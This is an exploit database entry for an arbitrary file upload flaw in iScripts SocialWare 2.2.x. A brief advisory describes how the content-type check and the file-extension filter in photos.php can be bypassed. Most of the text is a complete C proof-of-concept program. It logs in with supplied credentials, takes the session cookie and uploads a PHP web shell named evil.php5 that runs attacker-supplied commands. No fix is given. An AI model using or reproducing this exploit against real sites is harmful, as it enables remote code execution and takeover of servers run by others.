Exploit iScripts Socialware 2.2.x - Arbitrary File Upload

[Exploiter]

EDB-ID

14176

Проверка EDB

1. Пройдено

Автор

SALVATORE FRESTA

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

N/A

Дата публикации

2010-07-02

/*iScripts SocialWare 2.2.x Arbitrary File Upload Vulnerability

 Name              iScripts SocialWare
 Vendor            http://www.iscripts.com
 Versions Affected 2.2.x

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-02-07

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 

I. ABOUT THE APPLICATION

iScripts  SocialWare  is  an  award-winning,  easy to use
social  networking  software  that  enables you to create
your  own social network like MySpace, Orkut, Friendster,
Linkedin, Facebook, Hi5, etc.


II. DESCRIPTION

The arbitrary file upload is possible  due  to two filters
bypassing.


III. ANALYSIS

Summary:

 A) Arbitrary File Upload
 

A) Arbitrary File Upload

photos.php  is  affected  by  an  arbitrary   file  upload
vulnerability. In this script, for each upload, two checks
are executed: one on the content-type and one on the  file
extension.  The  content-type  can  be  bypassed  using  a
crafted HTTP packet.  The  file  extension  filter  can be
bypassed using the php5 extension instead of php extension.

The malicious  file  will  be   renamed   and   copied  in
member_photos  directory,  that  sometimes   has   a   777
permission.
Using  this vulnerability a user can execute arbitrary php
code.


IV. SAMPLE CODE

A) Arbitrary File Upload

http://www.salvatorefresta.net/files/poc/PoC-iScriptsSW22.c */

/*

	Poc Remote Shell Upload - iScripts SocialWare 2.2.x 
	
	Author: Salvatore Fresta aka Drosophila
	E-mail: [email protected]
	
	Date: 02 July 2010
	
	This Proof of Concept will upload a simple php shell (evil.php5)
	in member_photos.
	
	Compile on Unix-like systems: gcc PoC-FC213.c -o PoC-FC213	
	Compile on Microsoft Windows: gcc PoC-FC213.c -lws2_32 -o PoC-FC213
	
	./PoC-FC213 --host hostname --path /path/ -u username -p password

	[*] Connecting...
	[+] Connected
	[*] Login...
	[+] Login Successful
	[*] Uploading...
	[+] Shell uploaded
	[+] Connection closed

*/	

#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdarg.h>
#include <getopt.h>
#ifdef WIN32
    #include <winsock.h>
    #define close closesocket
#else
	#include <sys/types.h>
	#include <sys/socket.h>
	#include <netinet/in.h>
	#include <unistd.h>
	#include <errno.h>
	#include <netdb.h>
#endif

int vspr(char **buff, char *fmt, ...) {
	
    va_list ap;
    int     len,
            mlen;
    char    *ret = NULL;

    mlen = strlen(fmt) + 128;
    va_start(ap, fmt);
    
    while(1) {
    	
        ret = (char *) malloc(mlen);
        if(!ret) return -1;
        
        len = vsnprintf(ret, mlen, fmt, ap);
        
        if((len >= 0) && (len < mlen)) break;
        
        mlen = len < 0 ? mlen+128 : len+1;
        
        free(ret);
        
    }
    
    va_end(ap);

    *buff = ret;
    
    return len;
    
}

int socket_connect(char *server, int port) {

	int fd;
	struct sockaddr_in sock;
	struct hostent *host;
	
#ifdef WIN32	
	WSADATA wsadata;
    if(WSAStartup(MAKEWORD(1,0), &wsadata)) return -1;
#endif
	
	memset(&sock, 0, sizeof(sock));
	
	if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) return -1;
	
	sock.sin_family = AF_INET;
	sock.sin_port = htons(port);
	
	if(!(host=gethostbyname(server))) return -1;
	
	sock.sin_addr = *((struct in_addr *)host->h_addr);
	
	if(connect(fd, (struct sockaddr *) &sock, sizeof(sock)) < 0) return -1;
	
	return fd;
   
}

char *socket_receive(int sock, int tout) {

	int ret,
	    byte,
	    oldpkglen = 0,
	    pkglen = 0;
	char *buffer = NULL, 
	     tmp[128];
	struct timeval timeout;
	fd_set input;
	
	if(sock < 0) return NULL;
	
	while (1) {
		
		FD_ZERO(&input);
		FD_SET(sock, &input);
		
		if(tout > 0) {
			timeout.tv_sec  = tout;
			timeout.tv_usec = 0;
			ret = select(sock + 1, &input, NULL, NULL, &timeout);
		}
		else
			ret = select(sock + 1, &input, NULL, NULL, NULL);
	
		if (!ret) break;
		if (ret < 0) return NULL;
		
		byte = recv(sock, tmp, sizeof(tmp), 0);
		
		if(byte < 0) return NULL;
		
		if(!byte) break;
		
		oldpkglen = pkglen;
		pkglen += byte;
		
		buffer = (char *) realloc(buffer, pkglen+1);
		
		if(!buffer) return NULL;
		
		memcpy(buffer+oldpkglen, tmp, byte);
	
	}
	
	if(buffer) buffer[pkglen] = 0;
	
	return buffer;
   
}

void usage(char *cmd) {

	printf("\nPoC Remote Shell Upload - iScripts SocialWare 2.2.x\n"
	       "Written by Salvatore Fresta\n\n"
		   "usage: %s [options]\n"
		   "\n"
		   "Required options:\n"
		   "\n"
		   "\t--host     : Target hostname\n"
		   "\t--port     : Remote TCP Port (default 80)\n"
		   "\t--path     : Webserver path (ex: /path/ or /)\n"
		   "\t--username : Registered username\n"
		   "\t--password : Password for username\n\n"
		   "Example: %s --host localhost --path /path/ -u [email protected] -p rossi\n\n", cmd, cmd);	

}

int main(int argc, char *argv[]) {
	
	int sd,
	    option,
	    optidx,
	    port = 80,
	    clen,
	    pkglen;
	char *buffer  = NULL,
		 *rec     = NULL,
		 *session = NULL,
		 *host    = NULL,
		 *path    = NULL,
		 *user    = NULL,
		 *passwd  = NULL,
		 code[] = "--AaB03x\r\n"
				  "Content-Disposition: form-data; name=\"photo\"; filename=\"evil.php5\"\r\n"
				  "Content-Type: image/jpeg\r\n"
			      "\r\n"
				  "<?php echo \"<pre>\"; system($_GET[cmd]); echo \"</pre>\"?>\r\n"
				  "--AaB03x\r\n"
				  
				  "Content-Disposition: form-data; name=\"Call\"\r\n"
				  "\r\n"
				  "add\r\n"
				  "--AaB03x\r\n"
				  
				  "Content-Disposition: form-data; name=\"photoType\"\r\n"
				  "\r\n"
				  "P\r\n"
				  "--AaB03x\r\n"
				  
				  "Content-Disposition: form-data; name=\"image.x\"\r\n"
				  "\r\n"
				  "8\r\n"
				  "--AaB03x\r\n"
				  
				  "Content-Disposition: form-data; name=\"image.y\"\r\n"
				  "\r\n"
				  "5\r\n"
				  "--AaB03x--\r\n";
		
	struct option long_options[] = {
		{"host",         1, 0,  1 },
        {"port",         1, 0,  2 },
		{"path",         1, 0,  3 },
        {"username",     1, 0, 'u'},
        {"password",     1, 0, 'p'},
        {NULL,           0, 0,  0 },
	};
		
	if(argc < 2) {
		usage(argv[0]);
		return -1;
	}
	
	while((option = getopt_long(argc, argv, "u:p:", long_options, &optidx)) > 0) {

		switch(option) {
			
			case 1:
				host = optarg;
			break;
			
			case 2:
				port = atoi(optarg);
			break;
			
			case 3:
				path = optarg;
			break;
			
			case 'u':
				user = optarg;
			break;
			
			case 'p':
				passwd = optarg;
			break;
			
			default:
				usage(argv[0]);
				return -1;
			break;
			
		}
		
	}
	
	if(!host || !path || !user || !passwd || port < 0) {
		usage(argv[0]);
		return -1;
	}
					
	printf("\n[*] Connecting...\n");
	
	if((sd = socket_connect(host, port)) < 0) {
		printf("[-] Connection failed!\n\n");
		free(buffer);
		return -1;
	}
	
	printf("[+] Connected"
	       "\n[*] Login...");
	
	clen = strlen(user)+strlen(passwd)+16;
	
	pkglen = vspr(&buffer, "POST %scheck_login.php HTTP/1.1\r\n"
	                       "Host: %s\r\n"
	                       "Content-Type: application/x-www-form-urlencoded\r\n"
	                       "Content-Length: %d\r\n"
	                       "\r\n"
	                       "email=%s&password=%s", path, host, clen, user, passwd);
	
	if(send(sd, buffer, pkglen, 0) < 0) {
		printf("[-] Sending failed!\n\n");
		free(buffer);
		close(sd);
		return -1;
	}
	
	if(!(rec = socket_receive(sd, 0))) {
		printf("[-] Receive failed!\n\n");
		free(buffer);
		close(sd);
		return -1;
	}
	
	if(strstr(rec, "Password is invalid")) {
		printf("\n[-] Login Incorrect!\n\n");
		free(buffer);
		close(sd);
		return -1;
	}
	
	session = strstr(rec, "PHPSESSID");
	
	if(!session) {
		printf("\n[-] Session error!\n\n");
		free(buffer);
		close(sd);
		return -1;
	}
	
	session = strtok(session, ";");
	
	if(!session) {
		printf("\n[-] Session error!\n\n");
		free(buffer);
		close(sd);
		return -1;
	}

	printf("\n[+] Login Successful"
			"\n[*] Uploading...\n");
	
	close(sd);
	if((sd = socket_connect(host, port)) < 0) {
		printf("[-] Connection failed!\n\n");
		free(buffer);
		return -1;
	}
			
	free(buffer);
	clen = strlen(code);
	
	pkglen = vspr(&buffer, "POST %spopups/photos.php HTTP/1.1\r\n"
					       "Host: %s\r\n"
					       "Cookie: %s\r\n"
					       "Content-type: multipart/form-data, boundary=AaB03x\r\n"
					       "Content-Length: %d\r\n"
					       "\r\n"
					       "%s", path, host, session, clen, code);
	
	if(send(sd, buffer, pkglen, 0) < 0) {
		printf("[-] Sending failed!\n\n");
		free(buffer);
		close(sd);
		return -1;
	}
	
	if(!(rec = socket_receive(sd, 3))) {
		printf("[-] Receive failed!\n\n");
		free(buffer);
		close(sd);
		return -1;
	}
	
	if(!strstr(rec, "evil.php5")) {
		printf("\n[-] Upload failed!\n\n");
		free(buffer);
		close(sd);
		return -1;
	}
	
	free(buffer);
	close(sd);
	
	printf("[+] Shell uploaded"
			"\n[+] Connection closed\n\n");
	
	return 0;
	
}

/*

V. FIX

No Fix.

*/